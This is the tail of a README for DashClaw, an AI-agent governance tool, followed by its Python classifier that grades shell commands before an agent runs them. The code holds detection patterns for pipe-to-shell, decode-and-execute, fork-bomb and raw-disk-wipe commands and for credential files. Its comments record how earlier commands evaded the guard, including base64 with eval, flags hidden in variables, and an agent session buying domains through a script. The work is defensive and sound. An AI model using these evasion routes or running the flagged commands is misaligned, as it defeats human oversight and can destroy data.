  228. - [Quick start](QUICK-START.md) · [Governing Claude Code](docs/integrations/claude-code.md) · [Governing agents over MCP](docs/integrations/mcp.md).
  229. - [Operating DashClaw](docs/operations.md): policies, approvals, the ledger, the emergency halt, doctor.
  230. - [Troubleshooting](docs/troubleshooting.md): the errors you will actually see, with fixes.
  231. - [Node SDK](sdk/README.md) · [Python SDK](sdk-python/README.md) · [SDK parity matrix](docs/sdk-parity.md).
  232. - [Agent identity](docs/agent-identity.md): JWKS verification, replay protection, action binding.
  233. - [Runtime API](docs/architecture/runtime-api.md) · [Guard enforcement contract](docs/guard-enforcement-contract.md) · [Governance core theory](docs/architecture/governance-core-theory.md).
  234. - [Durable execution finality](docs/architecture/durable-execution-finality.md) · [API inventory](docs/api-inventory.md) · [Security guide](docs/SECURITY.md) · [Changelog](CHANGELOG.md).
  235. ## Project status
  236. Stated plainly, because a security tool that oversells itself is a liability:
  237. - **Young and fast-moving.** First commit February 2026; releases land near-daily. The API surface is tiered for exactly this reason: 43 stable routes pinned in the [OpenAPI contract](docs/openapi/critical-stable.openapi.json), 18 beta, 75 experimental. Build against stable; experimental can change without notice.
  238. - **Proven by dogfood, not by scale.** The core loop runs against the maintainer's own agent fleet, and CI exercises specified policy and lifecycle contracts. External production deployments are early. Treat this as young infrastructure, not a battle-tested incumbent or an uptime commitment.
  239. - **AI-maintained, human-governed, in public.** Day-to-day maintenance is done by an AI agent under the human-held charter in [MAINTAINER.md](MAINTAINER.md), whose five invariants (above) the maintainer cannot change. Material changes and design decisions are recorded in the [maintainer log](docs/maintainer-log.md).
  240. ## Contributing and license
  241. Issues and PRs are welcome on [github.com/ucsandman/DashClaw](https://github.com/ucsandman/DashClaw). If DashClaw caught something on one of your runs, a GitHub star is the honest signal that the wedge is real.
  242. [MIT](LICENSE)
  243. <div align="center">
  244. <br />
  245. <sub>Built by <a href="https://practicalsystems.io">Practical Systems</a></sub>
  246. </div>
  247. ## Support
  248. If my tools save you time, you can support my work here:
  249. [![Sponsor on GitHub](https://img.shields.io/badge/GitHub%20Sponsors-%E2%9D%A4-db61a2?logo=githubsponsors&logoColor=white)](https://github.com/sponsors/ucsandman)
  250. [![Buy Me a Coffee](https://img.shields.io/badge/Buy%20Me%20a%20Coffee-%E2%98%95-ffdd00?logo=buymeacoffee&logoColor=black)](https://buymeacoffee.com/wes_sander)
plugins/dashclaw/hooks/dashclaw_agent_intel/bash_classifier.py · Bundled script · 1,066 lines · 1 finding marked
  1. """Bash intent classifier for dashclaw-agent-intel.
  2. Classifies shell commands by intent, risk, and reversibility using
  3. six validation submodules run as a pipeline.
  4. Uses only the Python standard library + the sibling command_parser module.
  5. """
  6. import re
  7. from typing import Optional
  8. from dashclaw_agent_intel.command_parser import parse_command, split_chain_texts
  9. from dashclaw_agent_intel.file_scanner import is_placeholder_path
  10. # ---------------------------------------------------------------------------
  11. # Intent lookup tables
  12. # ---------------------------------------------------------------------------
  13. READONLY_COMMANDS = frozenset({
  14. "cat", "head", "tail", "less", "more", "wc", "file", "stat", "du", "df",
  15. "ls", "tree", "find", "locate", "which", "whereis", "type",
  16. "grep", "rg", "awk", "cut", "sort", "uniq", "diff", "comm",
  17. "echo", "printf", "date", "uname", "whoami", "pwd", "hostname",
  18. "ps", "top", "htop", "free", "uptime", "env", "printenv",
  19. "man", "help", "info",
  20. "sha256sum", "md5sum", "sha1sum", "cksum", "b2sum",
  21. "base64", "od", "xxd", "hexdump",
  22. "id", "groups", "lsof", "readlink", "realpath", "basename", "dirname",
  23. "test", "[", "true", "false", "seq", "yes", "tee",
  24. "xargs", "tr", "column", "fold", "expand", "unexpand",
  25. "sed", # sed without -i is readonly (stdout only); sed_validation handles -i
  26. "cd", # pure navigation; chain segments after it are classified on their own
  27. })
  28. GIT_READONLY_SUBCOMMANDS = frozenset({
  29. "status", "log", "diff", "show", "branch", "tag", "remote",
  30. "stash", "describe", "rev-parse", "rev-list", "blame",
  31. "ls-files", "ls-tree", "config", "reflog", "shortlog",
  32. "whatchanged", "name-rev", "verify-commit", "verify-tag",
  33. })
  34. GIT_WRITE_SUBCOMMANDS = frozenset({
  35. "add", "commit", "merge", "cherry-pick", "checkout", "switch",
  36. "restore", "mv", "rm", "rebase", "pull", "fetch", "stash",
  37. "push", # push is write normally; destructive with --force
  38. })
  39. GIT_DESTRUCTIVE_SUBCOMMANDS = frozenset({
  40. "clean", # clean -f
  41. "reset", # reset --hard
  42. })
  43. WRITE_COMMANDS = frozenset({
  44. "cp", "mv", "mkdir", "touch", "chmod", "chown", "chgrp", "ln",
  45. "tee", "install", "patch", "rename",
  46. })
  47. DESTRUCTIVE_COMMANDS = frozenset({
  48. "rm", "rmdir", "shred", "mkfs", "fdisk", "dd", "truncate",
  49. })
  50. NETWORK_COMMANDS = frozenset({
  51. "curl", "wget", "ssh", "scp", "rsync", "ping", "traceroute",
  52. "dig", "nslookup", "host", "nc", "netcat", "telnet", "ftp", "sftp",
  53. })
  54. PROCESS_COMMANDS = frozenset({
  55. "kill", "killall", "pkill", "nohup", "bg", "fg", "crontab",
  56. "disown", "wait", "jobs",
  57. })
  58. PACKAGE_COMMANDS = frozenset({
  59. "npm", "yarn", "pnpm", "pip", "pip3", "pipx",
  60. "cargo", "go", "gem", "bundle",
  61. "brew", "apt", "apt-get", "dnf", "yum", "pacman", "snap", "flatpak",
  62. "composer", "dotnet", "nuget",
  63. })
  64. # Language interpreters / script runners. Without this category they fall
  65. # through to "unknown", and the pretool hook replaces the classifier score
  66. # with the Bash tool's blunt base risk (70 = RISK_HIGH_MIN) — so `node -e`
  67. # was blocked by fallback, not by analysis.
  68. INTERPRETER_COMMANDS = frozenset({
  69. "node", "nodejs", "python", "python2", "python3",
  70. "ruby", "perl", "php", "deno", "bun", "tsx", "ts-node",
  71. "npx", # runs a package binary; auto-install flags warn (interpreter validation)
  72. })
  73. # Per-interpreter inline-eval flags. Flag meanings collide across
  74. # interpreters (python -E ignores env vars; perl -E is eval with features),
  75. # so each base command gets its own set rather than one shared list.
  76. _INLINE_EVAL_FLAGS = {
  77. "node": frozenset({"-e", "--eval", "-p", "--print"}),
  78. "nodejs": frozenset({"-e", "--eval", "-p", "--print"}),
  79. "bun": frozenset({"-e", "--eval", "-p", "--print"}),
  80. "tsx": frozenset({"-e", "--eval", "-p", "--print"}),
  81. "ts-node": frozenset({"-e", "--eval", "-p", "--print"}),
  82. "deno": frozenset({"--eval"}),
  83. "python": frozenset({"-c"}),
  84. "python2": frozenset({"-c"}),
  85. "python3": frozenset({"-c"}),
  86. "ruby": frozenset({"-e"}),
  87. "perl": frozenset({"-e", "-E"}),
  88. "php": frozenset({"-r"}),
  89. }
  90. # Escape hatches inside an inline-eval payload: spawning processes, deleting
  91. # files, or shelling out from within the one-liner. These warrant an extra
  92. # warn on top of the inline-eval warn — still below the block band; the
  93. # server-side guard sees the full command and can escalate further.
  94. _INLINE_ESCAPE_HATCH_RE = re.compile(
  95. r"child_process|subprocess|os\.system|execSync|spawnSync"
  96. r"|fs\.(?:rm|unlink|rmdir)|rmtree|rm\s+-rf|shutil",
  97. re.IGNORECASE,
  98. )
  99. # F2 (governance gap audit 2026-08-05): `find` with a delete predicate is a
  100. # mass delete wearing a read-only command's name.
  101. _FIND_DELETE_RE = re.compile(r"\s-delete\b|\s-exec\s+\S*(rm|shred)\b", re.IGNORECASE)
  102. # Obfuscated command construction (evasion audit 2026-08-08): a decode-then-
  103. # execute pipe (base64/hex/openssl output piped straight into a shell or
  104. # interpreter) runs a command the classifier never sees as text. Paired with
  105. # the `eval` base-command check, this closes the base64+eval evasion that slid
  106. # a destructive delete past the guard. `eval` itself is matched by base name,
  107. # not here, because the parser identifies it reliably.
  108. _DECODE_EXEC_RE = re.compile(
  109. r"(?:base64\s+(?:-d|-D|--decode)|xxd\s+-r|openssl\s+enc\b[^|]*?-d)\b"
  110. r"[^|]*\|\s*(?:sh|bash|zsh|dash|ksh|eval|python\d?|perl|ruby|node)\b",
  111. re.IGNORECASE,
  112. )
  113. # Pipe into a BARE shell (round-2 audit, 2026-08-08): `curl … | sh`,
  114. # `echo "<cmd>" | bash`, `printf … | zsh`. The shell reads its program from
  115. # stdin, so the real command is invisible to the classifier regardless of the
  116. # upstream producer — this generalizes _DECODE_EXEC_RE beyond the three
  117. # decoders. The negative lookahead exempts a named script file (`… | bash
  118. # deploy.sh`), which is an ordinary invocation, not stdin execution.
  119. _PIPE_TO_SHELL_RE = re.compile(
  120. r"\|\s*(?:sh|bash|zsh|dash|ksh)\b(?!(?:\s+-[A-Za-z]+)*\s+[^\s|;&]*\.[A-Za-z])",
  121. re.IGNORECASE,
  122. )
  123. # A shell running an inline command string: `sh -c '<cmd>'`, `bash -lc '<cmd>'`.
  124. # `-c` (in any combined short-flag form, or `--command`) means the program is a
  125. # string argument the per-token classifier never inspects — same invisible-
  126. # execution class as eval (round-2 audit, 2026-08-08).
  127. _SHELL_DASH_C_RE = re.compile(
  128. r"\b(?:sh|bash|zsh|dash|ksh)\s+(?:-[A-Za-z]*c[A-Za-z]*|--command)\b",
  129. re.IGNORECASE,
  130. )
  131. # Leading assignment keyword (`export F=-rf`, `declare X=…`) — stripped before
  132. # the static-assignment match so the value still resolves (round-2 audit).
  133. _ASSIGNMENT_PREFIX_RE = re.compile(r"^(?:export|declare|local|readonly)\s+")
  134. # Spend detection (2026-09-04 incident): a session bought two domains with
  135. # `node tmp/tradesdesk-launch/domain-buy.mjs truckside.io`. The classifier
  136. # graded that "interpreter" (base 35) and the server graded the command TEXT
  137. # other/30 — neither route ever reached the org's spend policy, because the
  138. # money moved inside the script, not in the command line. `_SPEND_URL_RE`
  139. # matches a purchase URL appearing anywhere in the command text (the request
  140. # a script or a raw curl is about to make); `_SPEND_CLI_RE` matches a
  141. # purchase-shaped CLI invocation in command position. The `/registrar/`
  142. # branch excludes lookup-only endpoints (…/availability, …/price, …/status)
  143. # via a lookahead on the remainder of that URL, not by consuming and
  144. # backtracking over the whole path — consuming greedily would let the engine
  145. # find an alternate, shorter parse that dodges the exclusion.
  146. _SPEND_URL_RE = re.compile(
  147. r"https?://[^\s\"']*/registrar/(?![^\s\"']*(?:availability|price|status)(?:[\s\"']|$))"
  148. r"|https?://[^\s\"']*/domains?/[^/\s\"']+/(?:buy|transfer-in|renew)\b"
  149. r"|https?://[^\s\"']*/v1/(?:charges|payment_intents|checkout/sessions|subscriptions|setup_intents)\b"
  150. r"|https?://[^\s\"']*/invoices/[^/\s\"']+/pay\b"
  151. r"|https?://(?:[a-z0-9-]+\.)*paypal\.com(?::\d+)?/[^\s\"']*/v[12]/(?:checkout/orders|payments)\b",
  152. re.IGNORECASE,
  153. )
  154. # Generic purchase / credit top-up path segments. On their own these match any
  155. # host — `git clone .../checkout` or a docs page mentioning `/checkout` is not
  156. # a purchase — so a hit only counts when the URL also looks like an API or a
  157. # payment surface: an `/api/` or `/v<digits>/` segment ahead of the purchase
  158. # segment, or a hostname whose first label names a payment/commerce surface.
  159. _SPEND_GENERIC_URL_RE = re.compile(
  160. r"https?://(?:api|checkout|pay|payments|billing|commerce|shop|store|secure)\.[^\s\"']*"
  161. r"/(?:purchase|purchases|checkout|top-up|topup|buy-credits|buy_credits)(?:[/\s\"']|$)"
  162. r"|https?://[^\s\"']*/(?:api|v\d+)(?:/[^\s\"'?#/]*)*"
  163. r"/(?:purchase|purchases|checkout|top-up|topup|buy-credits|buy_credits)(?:[/\s\"']|$)",
  164. re.IGNORECASE,
  165. )
  166. _SPEND_CLI_RE = re.compile(
  167. r"^\s*vercel\s+domains?\s+(?:buy|transfer-in)\b"
  168. r"|^\s*stripe\s+(?:charges|payment_intents|subscriptions)\s+create\b"
  169. r"|^\s*stripe\s+checkout\s+sessions\s+create\b"
  170. r"|^\s*agentcash\s+pay\b"
  171. r"|^\s*gcloud\s+billing\b"
  172. r"|^\s*aws\s+\S+\s+purchase-\S+"
  173. r"|^\s*namecheap\b.*\bdomains\.create\b",
  174. re.IGNORECASE,
  175. )
  176. def _is_obfuscated_exec(base_name: str, raw_command: str) -> bool:
  177. """True when the command runs a program the per-token classifier can't
  178. see: `eval`, a decode-to-shell pipe, a bare pipe into a shell, or a shell
  179. `-c '<string>'`. In every case the real command is invisible, so the effect
  180. is unverifiable and must inherit the worst-case (block) path."""
  181. return (
  182. base_name == "eval"
  183. or bool(_DECODE_EXEC_RE.search(raw_command))
  184. or bool(_PIPE_TO_SHELL_RE.search(raw_command))
  185. or bool(_SHELL_DASH_C_RE.search(raw_command))
  186. )
  187. # A chain segment that is ONLY a `VAR=value` assignment. Used to resolve
  188. # statically-known assignments into later segments so `F=-rf; rm $F x` grades
  189. # as `rm -rf x` — the flag-in-a-variable evasion (audit 2026-08-08). Only
  190. # literal values are ever substituted; a dynamic value ($, `, $( ) is left
  191. # unresolved and the segment is graded as-is (we never execute or guess).
  192. _STATIC_ASSIGNMENT_RE = re.compile(r"^([A-Za-z_][A-Za-z0-9_]*)=(.*)$")
  193. # Raw block devices (Linux sd/hd/nvme/mmcblk/vd/xvd, macOS disk, Windows
  194. # PhysicalDrive) reached via output redirect or dd's of= — destroys a disk
  195. # without naming a single file (F2).
  196. _RAW_DEVICE_WRITE_RE = re.compile(
  197. r"(>\s*|\bof=)[\"']?(/dev/(sd[a-z]|hd[a-z]|nvme\d+n?\d*(p\d+)?|disk\d+|mmcblk\d+|vd[a-z]|xvd[a-z])\b"
  198. r"|\\\\\.\\physicaldrive\d+)",
  199. re.IGNORECASE,
  200. )
  201. # PowerShell cmdlets follow Verb-Noun; the approved verb carries the intent.
  202. # The pretool hook routes the PowerShell tool through this classifier the same
  203. # way it routes Bash — before that, every cmdlet fell through to "unknown" and
  204. # the hook's blunt execution base (70) blocked benign reads (2026-07-02
  205. # incident: `Get-Content docs/... -Tail 40` scored 100 and was policy-blocked).
  206. _PS_CMDLET_RE = re.compile(r"^[A-Za-z]+-[A-Za-z][A-Za-z0-9]*$")
  207. # Cmdlets whose noun, not verb, decides the intent — checked before the verb map.
  208. _PS_SPECIAL_CMDLETS = {
  209. "invoke-webrequest": "network",
  210. "invoke-restmethod": "network",
  211. "test-connection": "network",
  212. "test-netconnection": "network",
  213. # A pause has no side effects at all. The verb map's start→
  214. # process_management (right for Start-Process/Start-Service) made
  215. # `Start-Sleep 90` the highest-intent segment of a compound command,
  216. # which mapped to action_type security (server base 80) and detonated a
  217. # 100-block on a routine push-then-wait pipeline (2026-08-06, the
  218. # post-enforce-flip false-positive family).
  219. "start-sleep": "readonly",
  220. }
  221. _PS_VERB_INTENTS = {
  222. # observation / filtering / shaping — no side effects
  223. "get": "readonly", "select": "readonly", "measure": "readonly",
  224. "test": "readonly", "compare": "readonly", "format": "readonly",
  225. "sort": "readonly", "group": "readonly", "resolve": "readonly",
  226. "convertto": "readonly", "convertfrom": "readonly",
  227. "split": "readonly", "join": "readonly", "where": "readonly",
  228. "show": "readonly", "find": "readonly", "search": "readonly",
  229. # mutation
  230. "set": "write", "new": "write", "add": "write", "copy": "write",
  231. "move": "write", "rename": "write", "write": "write", "out": "write",
  232. "export": "write", "import": "write", "update": "write",
  233. "register": "write", "unregister": "write", "publish": "write",
  234. # destructive / lifecycle
  235. "remove": "destructive", "clear": "destructive",
  236. "uninstall": "destructive", "reset": "destructive", "revoke": "destructive",
  237. "stop": "process_management", "start": "process_management",
  238. "restart": "process_management", "suspend": "process_management",
  239. "resume": "process_management", "wait": "process_management",
  240. "install": "package_management",
  241. # arbitrary code execution / session escalation
  242. "invoke": "interpreter",
  243. "enter": "system_admin", "enable": "system_admin", "disable": "system_admin",
  244. }
  245. def _classify_powershell(base_name: str) -> Optional[str]:
  246. """Intent for a PowerShell Verb-Noun cmdlet, or None if not cmdlet-shaped
  247. (or the verb is unrecognized — those keep the conservative unknown path).
  248. Bash hyphenated commands (apt-get, systemd-*) never reach here: their
  249. category frozensets are checked first, and unmapped verbs return None."""
  250. lowered = base_name.lower()
  251. special = _PS_SPECIAL_CMDLETS.get(lowered)
  252. if special:
  253. return special
  254. if not _PS_CMDLET_RE.match(base_name):
  255. return None
  256. verb = lowered.split("-", 1)[0]
  257. return _PS_VERB_INTENTS.get(verb)
  258. SYSTEM_ADMIN_COMMANDS = frozenset({
  259. "systemctl", "service", "journalctl",
  260. "useradd", "userdel", "usermod", "groupadd", "groupdel",
  261. "iptables", "ip6tables", "ufw", "firewall-cmd",
  262. "mount", "umount",
  263. "reboot", "shutdown", "poweroff", "halt", "init",
  264. "modprobe", "insmod", "rmmod",
  265. "sysctl", "ldconfig",
  266. })
  267. # System paths that workspace_write mode should warn about.
  268. SYSTEM_PATHS = (
  269. "/etc/", "/usr/", "/var/", "/boot/", "/sys/", "/proc/",
  270. "/sbin/", "/lib/", "/lib64/", "/opt/",
  271. "/etc", "/usr", "/var", "/boot", "/sys", "/proc",
  272. "/sbin", "/lib", "/lib64", "/opt",
  273. )
  274. # Sensitive file patterns that boost risk.
  275. SENSITIVE_PATTERNS = re.compile(
  276. r"(?:\.env|secret|credential|private_key|\.pem|id_rsa|\.key)",
  277. re.IGNORECASE,
  278. )
  279. # Fork bomb patterns.
  280. _FORK_BOMB_RE = re.compile(r":\(\)\s*\{.*\}|/dev/null.*&\s*\|.*&|fork\s*bomb", re.IGNORECASE)
  281. # Base risk scores by intent.
  282. _RISK_BASE = {
  283. "readonly": 5,
  284. "write": 35,
  285. "destructive": 90,
  286. "network": 40,
  287. "process_management": 50,
  288. "package_management": 30,
  289. "system_admin": 75,
  290. "interpreter": 35, # running a script file is routine; inline eval warns on top
  291. "unknown": 20,
  292. "spend": 75,
  293. }
  294. # A bounded rm (non-recursive, explicit non-glob targets) is irreversible but
  295. # routine — deleting one named file is everyday agent work, not `rm -rf`.
  296. # The full destructive base (90) pushed every single-file delete into block
  297. # territory while the policy engine, given honest context, allowed it.
  298. _BOUNDED_RM_BASE = 55
  299. _BOUNDED_RM_MAX_TARGETS = 3
  300. _GLOB_CHARS = "*?["
  301. # Recursive deletes of well-known regenerable build artifacts are routine
  302. # maintenance — the tool that made them remakes them. The 2026-07-03 hard
  303. # block of `rm -rf .next` at 100 interrupted a Turbopack-panic remediation
  304. # for zero protective value (calibration vector rm-rf-next-build-cache).
  305. # Names are deliberately conservative: dot-dirs and unambiguous outputs only
  306. # (no `build`/`out`/`target` — too often real content).
  307. _REGENERABLE_RM_BASE = 35
  308. _REGENERABLE_ARTIFACT_DIRS = frozenset({
  309. ".next", ".turbo", ".cache", ".parcel-cache", "dist", "coverage",
  310. "node_modules", "__pycache__", ".pytest_cache", ".nuxt", ".svelte-kit",
  311. })
  312. # Directories the OPERATING SYSTEM designates as scratch. Anything strictly
  313. # inside one is disposable by construction — the OS itself may clear it on
  314. # reboot — so a recursive delete there is routine maintenance, not a
  315. # catastrophe. Added 2026-08-11 from live evidence: the frontend-verify skill's
  316. # `rm -rf <temp>/scratchpad/e2e-out` graded security/100 and was hand-approved
  317. # four times in one evening from a phone.
  318. # Each entry starts and ends with '/', so a plain substring search already
  319. # enforces path boundaries: '/nottmp/x' cannot match '/tmp/'.
  320. _OS_SCRATCH_ROOTS = ("/tmp/", "/var/tmp/", "/private/tmp/", "/appdata/local/temp/")
  321. def _is_os_scratch_path(target: str) -> bool:
  322. """True for a path STRICTLY INSIDE an OS scratch root.
  323. Something must remain after the root, so `rm -rf /tmp` itself still grades
  324. destructive. `..` is rejected outright: without that, `/tmp/../etc` would
  325. inherit the scratch grade.
  326. """
  327. t = target.replace("\\", "/").rstrip("/")
  328. if not t or ".." in t.split("/"):
  329. return False
  330. low = t.lower()
  331. # Only an ABSOLUTE path can be OS scratch. A project-relative `tmp/build`
  332. # is ordinary repo content and must keep the destructive grade.
  333. if not low.startswith("/"):
  334. if not re.match(r"^[a-z]:/", low):
  335. return False
  336. low = "/" + low # drive-qualified: give the search a leading boundary
  337. return any(
  338. (idx := low.find(root)) != -1 and len(low) > idx + len(root)
  339. for root in _OS_SCRATCH_ROOTS
  340. )
  341. def _is_regenerable_dir_name(target: str) -> bool:
  342. """True for a regenerable artifact root OR any path beneath one.
  343. Bare-name matching made a strict subset score higher than its superset:
  344. `rm -rf node_modules` graded 35 (cleanup) while `rm -rf node_modules/.cache`
  345. missed the allowlist, fell through to `security` (base 80) and clamped to
  346. 100 (2026-08-11 calibration probe). Deleting part of a regenerable
  347. directory cannot be more dangerous than deleting all of it.
  348. Absolute, home-relative, drive-qualified and `..`-traversing paths are now
  349. rejected EXPLICITLY. They were previously excluded only as a side effect of
  350. requiring a bare name, and that guarantee disappears once subtrees match.
  351. """
  352. # OS scratch roots are the one absolute-path exception, and they are safe
  353. # for the same reason the named dirs are: the content is disposable by
  354. # construction. Checked first because the guards below reject absolutes.
  355. if _is_os_scratch_path(target):
  356. return True
  357. t = target.replace("\\", "/").rstrip("/")
  358. if t.startswith("./"):
  359. t = t[2:]
  360. if not t or t.startswith("/") or t.startswith("~"):
  361. return False
  362. if re.match(r"^[a-zA-Z]:", t):
  363. return False
  364. parts = t.split("/")
  365. if ".." in parts:
  366. return False
  367. return parts[0] in _REGENERABLE_ARTIFACT_DIRS
  368. def is_regenerable_artifact_rm(parsed: dict) -> bool:
  369. """True for an rm / rmdir / Remove-Item (recursive or not) whose EVERY
  370. target is a relative, well-known regenerable build-artifact directory —
  371. the root itself or anything beneath it. Any glob, absolute path, parent
  372. traversal, or unknown root disqualifies the whole command."""
  373. base = (parsed.get("base_command") or "").rsplit("/", 1)[-1].lower()
  374. if base not in ("rm", "rmdir", "remove-item"):
  375. return False
  376. targets = parsed.get("targets", [])
  377. if not targets:
  378. return False
  379. return all(
  380. not any(ch in t for ch in _GLOB_CHARS) and _is_regenerable_dir_name(t)
  381. for t in targets
  382. )
  383. def is_bounded_rm(parsed: dict) -> bool:
  384. """True for a non-recursive rm / Remove-Item with a few explicit,
  385. non-glob targets. Remove-Item gets its own recursion test: PowerShell
  386. recursion is the `-Recurse` switch, and the bash single-dash heuristic
  387. ("-r anywhere in the flag") would misread `-Force` as recursive."""
  388. base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
  389. flags = parsed.get("flags", [])
  390. if base == "rm":
  391. recursive = "--recursive" in flags or any(
  392. f.startswith("-") and not f.startswith("--") and "r" in f.lower() for f in flags
  393. )
  394. elif base == "rmdir":
  395. # coreutils rmdir only ever removes EMPTY directories (-p just prunes
  396. # empty parents) — strictly safer than a bounded rm. The one recursive
  397. # spelling is Windows cmd's `rmdir /s`; treat that as unbounded.
  398. recursive = any(f.lower() == "/s" for f in flags)
  399. elif base.lower() == "remove-item":
  400. # `-Recurse:$false` is an EXPLICIT non-recursive switch — the prefix
  401. # test alone misread it as recursion (2026-07-02 wrong self-block).
  402. recursive = any(
  403. f.lower().startswith("-rec") and not f.lower().endswith(":$false")
  404. for f in flags
  405. )
  406. else:
  407. return False
  408. if recursive:
  409. return False
  410. targets = parsed.get("targets", [])
  411. if not targets or len(targets) > _BOUNDED_RM_MAX_TARGETS:
  412. return False
  413. return not any(ch in t for t in targets for ch in _GLOB_CHARS)
  414. # ---------------------------------------------------------------------------
  415. # Intent classification
  416. # ---------------------------------------------------------------------------
  417. def _strip_quotes(value: str) -> str:
  418. """Strip one matching pair of surrounding single/double quotes."""
  419. if len(value) >= 2 and value[0] == value[-1] and value[0] in "\"'":
  420. return value[1:-1]
  421. return value
  422. def _resolve_static_chain_vars(segment_texts: list[str]) -> list[str]:
  423. """Substitute earlier literal `VAR=value` assignments into later chain
  424. segments, so `F=-rf; rm $F x` grades as `rm -rf x` and the hidden flags
  425. are visible to the destructive-command checks (evasion audit 2026-08-08).
  426. Only assignments whose value is a static literal are resolved: a value
  427. containing `$`, a backtick, or `$(` is dynamic and left as a variable, so
  428. nothing is ever executed or guessed. A segment with no known variables is
  429. returned unchanged, so this is a no-op for ordinary chains."""
  430. known: dict[str, str] = {}
  431. resolved: list[str] = []
  432. for text in segment_texts:
  433. subbed = text
  434. for name, value in known.items():
  435. subbed = re.sub(
  436. r"\$\{" + name + r"\}|\$" + name + r"(?![A-Za-z0-9_])",
  437. lambda _m, v=value: v,
  438. subbed,
  439. )
  440. resolved.append(subbed)
  441. # A leading `export`/`declare`/`local`/`readonly` still sets the value,
  442. # so strip it before matching the assignment (round-2 evasion audit).
  443. assignment = _ASSIGNMENT_PREFIX_RE.sub("", subbed.strip())
  444. m = _STATIC_ASSIGNMENT_RE.match(assignment)
  445. if m:
  446. raw_val = m.group(2).strip()
  447. if "$" not in raw_val and "`" not in raw_val:
  448. known[m.group(1)] = _strip_quotes(raw_val)
  449. return resolved
  450. def _classify_git(parsed: dict) -> str:
  451. """Classify a git command by its subcommand and flags."""
  452. sub = parsed.get("subcommand") or ""
  453. flags = parsed.get("flags", [])
  454. # Destructive git subcommands.
  455. if sub == "reset" and "--hard" in flags:
  456. return "destructive"
  457. if sub == "clean" and any(f.startswith("-") and "f" in f for f in flags):
  458. return "destructive"
  459. if sub == "push" and any(f in ("--force", "-f", "--force-with-lease") for f in flags):
  460. return "destructive"
  461. if sub in GIT_DESTRUCTIVE_SUBCOMMANDS:
  462. # Without the dangerous flags, still treat as write.
  463. return "write"
  464. if sub in GIT_READONLY_SUBCOMMANDS:
  465. return "readonly"
  466. if sub in GIT_WRITE_SUBCOMMANDS:
  467. return "write"
  468. # Unknown git subcommand -> write (safe default).
  469. return "write"
  470. def _classify_intent(parsed: dict, raw_command: str) -> str:
  471. """Determine the intent category for a parsed command."""
  472. base = parsed.get("base_command", "")
  473. if not base:
  474. return "unknown"
  475. # Strip path prefix if present (e.g. /usr/bin/rm -> rm).
  476. base_name = base.rsplit("/", 1)[-1]
  477. # Check for sudo wrapper early — used for escalation decisions.
  478. wrapper = parsed.get("wrapper")
  479. # Obfuscated command construction: `eval`, a decode-then-shell pipe, a bare
  480. # pipe into a shell, or `sh -c '<string>'` all run a command invisible to
  481. # this classifier. Grade as destructive (worst case): the effect is
  482. # unverifiable, so it inherits the same block path as an unbounded rm rather
  483. # than the low `unknown`/`network` base that let these slip past the guard
  484. # (evasion audits 2026-08-08, rounds 1 and 2).
  485. if _is_obfuscated_exec(base_name, raw_command):
  486. return "destructive"
  487. # Handle mkfs variants (mkfs.ext4, mkfs.xfs, etc.).
  488. if base_name.startswith("mkfs"):
  489. return "destructive"
  490. # find with -delete / -exec rm is a mass delete, not a read-only lookup (F2).
  491. if base_name == "find" and _FIND_DELETE_RE.search(raw_command):
  492. return "destructive"
  493. # Spend: the command TEXT names a purchase endpoint or a purchase-shaped
  494. # CLI call (2026-09-04 incident). A read-only inspection of the same URL
  495. # (`echo`/`cat`/`grep` of a link) is exempt — only a command whose base is
  496. # NOT already a known-safe reader counts as spending money.
  497. if _SPEND_CLI_RE.search(raw_command) or (
  498. (_SPEND_URL_RE.search(raw_command) or _SPEND_GENERIC_URL_RE.search(raw_command))
  499. and base_name not in READONLY_COMMANDS
  500. ):
  501. return "spend"
  502. # Git has special subcommand-level classification.
  503. if base_name == "git":
  504. return _classify_git(parsed)
  505. # Package managers: sudo + package manager = system_admin.
  506. if base_name in PACKAGE_COMMANDS:
  507. if wrapper == "sudo":
  508. return "system_admin"
  509. return "package_management"
  510. # Interpreters: sudo + interpreter = system_admin (root code execution).
  511. if base_name in INTERPRETER_COMMANDS:
  512. if wrapper == "sudo":
  513. return "system_admin"
  514. return "interpreter"
  515. # Walk through categories in priority order.
  516. if base_name in DESTRUCTIVE_COMMANDS:
  517. return "destructive"
  518. if base_name in SYSTEM_ADMIN_COMMANDS:
  519. return "system_admin"
  520. if base_name in PROCESS_COMMANDS:
  521. return "process_management"
  522. if base_name in NETWORK_COMMANDS:
  523. return "network"
  524. if base_name in WRITE_COMMANDS:
  525. return "write"
  526. if base_name in READONLY_COMMANDS:
  527. return "readonly"
  528. ps_intent = _classify_powershell(base_name)
  529. if ps_intent is not None:
  530. return ps_intent
  531. if wrapper == "sudo":
  532. return "system_admin"
  533. return "unknown"
  534. # ---------------------------------------------------------------------------
  535. # Validation submodules (pipeline)
  536. # ---------------------------------------------------------------------------
  537. def _run_read_only_validation(
  538. parsed: dict, intent: str, mode: str, raw_command: str,
  539. ) -> Optional[dict]:
  540. """Submodule 1: In readonly mode, block write/destructive/process/system/package
  541. commands and redirections. Allow safe readonly commands."""
  542. if mode != "readonly":
  543. return None
  544. base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
  545. redirections = parsed.get("redirections", [])
  546. # Block redirections that write to files.
  547. if redirections:
  548. return {
  549. "check": "read_only_validation",
  550. "result": "block",
  551. "reason": f"file redirection in readonly mode",
  552. }
  553. # Block non-readonly intents. Interpreters can write files and spawn
  554. # processes, so they are not readonly-safe.
  555. if intent in ("write", "destructive", "process_management", "system_admin", "package_management", "interpreter"):
  556. return {
  557. "check": "read_only_validation",
  558. "result": "block",
  559. "reason": f"{intent} command not allowed in readonly mode",
  560. }
  561. return {
  562. "check": "read_only_validation",
  563. "result": "allow",
  564. "reason": "command is safe in readonly mode",
  565. }
  566. def _run_destructive_command_validation(
  567. parsed: dict, intent: str, raw_command: str,
  568. ) -> Optional[dict]:
  569. """Submodule 2: Detect catastrophic destructive commands."""
  570. base = (parsed.get("base_command") or "").rsplit("/", 1)[-1]
  571. flags = parsed.get("flags", [])
  572. targets = parsed.get("targets", [])
  573. # Obfuscated command execution — block outright. `eval`, a decode-to-shell
  574. # pipe, a bare pipe into a shell (`curl … | sh`), and `sh -c '<string>'` all
  575. # execute commands this classifier never sees as text, defeating every check
  576. # below; blocking the construct is the only reliable guard (evasion audits
  577. # 2026-08-08, rounds 1 and 2). Legitimate uses (`eval "$(ssh-agent -s)"`,
  578. # a vetted install script) are surfaced for one-click approval, not silently
  579. # allowed — the correct posture for a control plane.
